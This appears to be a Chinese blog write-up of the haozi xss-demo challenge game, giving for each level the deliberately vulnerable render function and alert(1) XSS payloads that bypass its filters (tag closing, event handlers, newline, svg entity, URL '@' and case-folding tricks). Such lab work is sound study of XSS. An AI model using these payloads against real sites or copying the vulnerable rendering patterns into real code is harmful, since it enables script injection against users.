前言
最新學習了下xss的更深入的東西,學習了一波瀏覽器解析機制和XSS向量編碼的知識。
這里就些xss的練習題鞏固知識
學習的話結合如下兩篇文章看,從例子和基礎原理層面都有:
http://bobao.360.cn/learning/detail/292.html
https://xz.aliyun.com/t/5950?accounttraceid=5564cfe1bcf849fd86c4ac5e40e772e7qcnv
最常見的html編碼有:html實體編碼。分為十進制和十六進制
如把尖括號編碼[ < ] 十進制: < html十六進制:<(這里的分號是可以省掉的)
最常見的js編碼有:八進制,十六進制,jsunicode編碼。
如把尖括號編碼[ < ] 八進制:74 十六進制:x3c unicode:u003c
Xss Game挑戰
項目:https://github.com/haozi/xss-demo
自帶alert(1)的js地址:https://xss.haozi.me/j.js
0x00
我這里選擇閉合下div標簽或者可以直接插入<script>alert(1)</script>
function render (input) { return '<div>' + input + '</div>' }
payload
</div><script>alert(1)</script><div>
0x01
如果看了上面的文章可以知道,不能直接在<textarea>標簽中直接插入<script>xx</script>,是不會執行,無效的。這里必須閉合標簽才可以
function render (input) { return '<textarea>' + input + '</textarea>' }
payload
</textarea><img src=x onerror=alert`1`><textarea>
0x02
input標簽中可以使用事件
function render (input) { return '<input type="name" value="' + input + '">' }
payload
123" onmouseover="alert`1`
123" onmouseover="alert`1`
0x03
這里用了javascript中的replace方法,帶/g就是全局替換,會將(和)替換為空
function render (input) { const stripBracketsRe = /[()]/g input = input.replace(stripBracketsRe, '') return input }
payload
<script>alert`1`</script>
這里使用的是Es6中的標簽模板,運用如下
“標簽模板”的一個重要應用,就是過濾 HTML 字符串,防止用戶輸入惡意內容。
let message = SaferHTML`<p>${sender} has sent you a message.</p>`; function SaferHTML(templateData) { let s = templateData[0]; for (let i = 1; i < arguments.length; i++) { let arg = String(arguments[i]); // Escape special characters in the substitution. s += arg.replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">"); // Don't escape special characters in the template. s += templateData[i]; } return s; }
上面代碼中,sender
變量往往是用戶提供的,經過SaferHTML
函數處理,里面的特殊字符都會被轉義。
let sender = '<script>alert("abc")</script>'; // 惡意代碼 let message = SaferHTML`<p>${sender} has sent you a message.</p>`; message // <p><script>alert("abc")</script> has sent you a message.</p>
標簽模板的另一個應用,就是多語言轉換(國際化處理)。
i18n`Welcome to ${siteName}, you are visitor number ${visitorNumber}!` // "歡迎訪問xxx,您是第xxxx位訪問者!"
學習自=>https://blog.csdn.net/TSeven37/article/details/82079286
0x04
這次過濾了(),也過濾了`,這樣就用不了模板標簽了的特性了
function render (input) { const stripBracketsRe = /[()`]/g input = input.replace(stripBracketsRe, '') return input }
這里百度找了一下,需要用到svg,為了更好了解,發現[CISCN2019 華東北賽區]Web2涉及到svg,於是通過題目又了解了一波=>https://www.cnblogs.com/keelongz/p/12628740.html
svg中是可以字符引用的,這里設計到了上面文章說的數據狀態中的字符引用
payload
<svg><script>alert(1)</script></svg> <iframe srcdoc="<script>alert(1)</script>"> <a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
補充:繞過()
<a onmouseover="javascript:window.onerror=alert;throw 1">aa
第二個payload運用的也是屬性狀態的字符引用。是H5中iframe的特點,因為h5中iframe的srcdoc屬性,srcdoc里的代碼會作為iframe中的內容顯示出來,srcdoc中可以直接去寫轉譯后的html片段。
第三個payload,照理說是可以的,屬性值狀態的字符引用,然后html解碼->url解碼=><a href="javascript:alert(2)">點擊是可以觸發xss的。但是沒有算✔成功。
0x05
這里是需要逃逸注釋,但是過濾了-->,替換成了笑臉。
function render (input) { input = input.replace(/-->/g, '😂') return '<!-- ' + input + ' -->' }
注釋符結尾不一定是要-->,可以加上一個感嘆號。比如<!--xxx--!>
payload
--!><script>alert(1)</script>
0x06
這里過濾了auto,還有on開頭=結尾的,以及>,匹配大小寫替換成_。
輸入點在value后
function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">` }
這道題參考了下WP,這里是通過換行來繞過的。
payload
onmouseover
=alert(1)
0x07
這里匹配了以<開頭,>結尾,中間只要有/或者任意的字符,就會匹配成空。這里也就不能換行了
function render (input) { const stripTagsRe = /<\/?[^>]+>/gi input = input.replace(stripTagsRe, '') return `<article>${input}</article>` }
這里看了WP說是利用容錯機制。並且這里可以用//單行注釋掉后面的內容也是可以的
payload
<svg onload='alert(1)'
<img src=x onerror='alert(1)'
<iframe src=javascript:alert`1`//
<iframe src=javascript:alert`1`//也是可以的,但是沒有顯示過關。不過確實可以跳出來
0x08
這里把</style>替換成了壞人
function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` <style> ${src} </style> ` }
這里的解體思路就是用+空格或者換行,繞過</style>的替換
payload
</style > <script>alert(1)</script>
</style ><script>alert(1)</script>
0x09
這里用test方法檢測input字符串是否匹配正則。必須是https://www.segmentfault.com或者http://www.segmentfault.com
function render (input) { let domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${input}"></script>` } return 'Invalid URL' }
這里我直接閉合<script>,然后注釋
payload
http://www.segmentfault.com"></script><script>alert(1)//" 或者參考鏈接中的 https://www.segmentfault.com"></script><svg/onload=alert(1)>//
第二個payload利用了svg的容錯性
0x0A
感覺上升了一個等級,這里將&,',",<,>,/都替換為HTML 實體
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } const domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${escapeHtml(input)}"></script>` } return 'Invalid URL' }
這里看了下參考鏈接中的WP,發現是通過@來繞過,這在ssrf中可以見到。URI語法->https://segmentfault.com/a/1190000013067553
payload
https://www.segmentfault.com@xss.haozi.me/j.js
Chrome里不算成功,firefox里是算成功。
0x0B
這里toUpperCase() 方法用於把字符串轉換為大寫
function render (input) { input = input.toUpperCase() return `<h1>${input}</h1>` }
這里也參照了了一下。發現如下TIPS:
html標簽大小寫無影響;
js嚴格區分大小寫。
所以下一面這一串的小寫是可以執行的,大寫是不行的。只要將alert改為小寫才行
<h1></H1><SCRIPT>ALERT(1)</SCRIPT><H1></h1>
這里有兩種方法繞過,一種是通過屬性值狀態引用,字符實體的繞過,一種是引用外部js。
但是第一種方法,發現鏈接里是J.JS無法獲取,所以不成功
<script src="https://xss.haozi.me/j.js"></script> <img src=x onerror=alert(1)>
0x0C
這里將script替換為空,然后轉化為大寫
function render (input) { input = input.replace(/script/ig, '') input = input.toUpperCase() return '<h1>' + input + '</h1>' }
paylaod
<img src=x onerror=alert(1)>
同上
0x0D
這里把</"'字符都替換成了空,並且用單行注釋注釋了alert(輸入部分)的內容
function render (input) { input = input.replace(/[</"']/g, '') return ` <script> // alert('${input}') </script> ` }
這里參考鏈接中的方式,通過換行繞過//單行注釋,通過html注釋--> 單行注釋后面內容
payload
alert(1)
-->
0x0E
過濾了以<開頭的字符,並且設置了大寫
function render (input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') input = input.toUpperCase() return '<h1>' + input + '</h1>' }
這里基本無法寫入標簽,參考鏈接中通過字符ſ大寫后會變成S,於是可以外鏈繞過,但是自己實現是不行的
payload
<ſcript src="https://xss.haozi.me/j.js"></script> <ſvg><ſcript>alert(1)</script></svg>
第二個payload是利用SVG可以執行實體字符的特性繞過
0x0F
這里過濾的很多,將很多字符都轉化為了實體字符,突破口應該就在return返回的語句中
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } return `<img src onerror="console.error('${escapeHtml(input)}')">` }
因為這里是在onerror屬性中,可以執行js語句,並且可以容納字符實體。於是這里可以閉合,然后alert即可
payload
');alert(1);//
0x10
賦值給window.data
function render (input) { return ` <script> window.data = ${input} </script> ` }
直接輸入alert(1)即可彈窗,或者用分號;隔開,或者換行
payload
alert(1)
'1';alert(1)
0x11
// from alf.nu function render (s) { function escapeJs (s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(/</g, '\\74') .replace(/>/g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') // .replace(/\b/g, '\\b') .replace(/\0/g, '\\0') } s = escapeJs(s) return ` <script> var url = 'javascript:console.log("${s}")' var a = document.createElement('a') a.href = url document.body.appendChild(a) a.click() </script> ` }
閉合然后分開即可,單行注釋后面內容
payload
");alert(1)//
0x12
跟上面差不多只不過變成了\\"
// from alf.nu function escape (s) { s = s.replace(/"/g, '\\"') return '<script>console.log("' + s + '");</script>' }
依舊閉合,然后多加一個\使之符合
payload
\");alert(1);//
參考鏈接:
http://www.lmxspace.com/2018/08/09/xss-%E6%8C%91%E6%88%98%E8%B5%9B/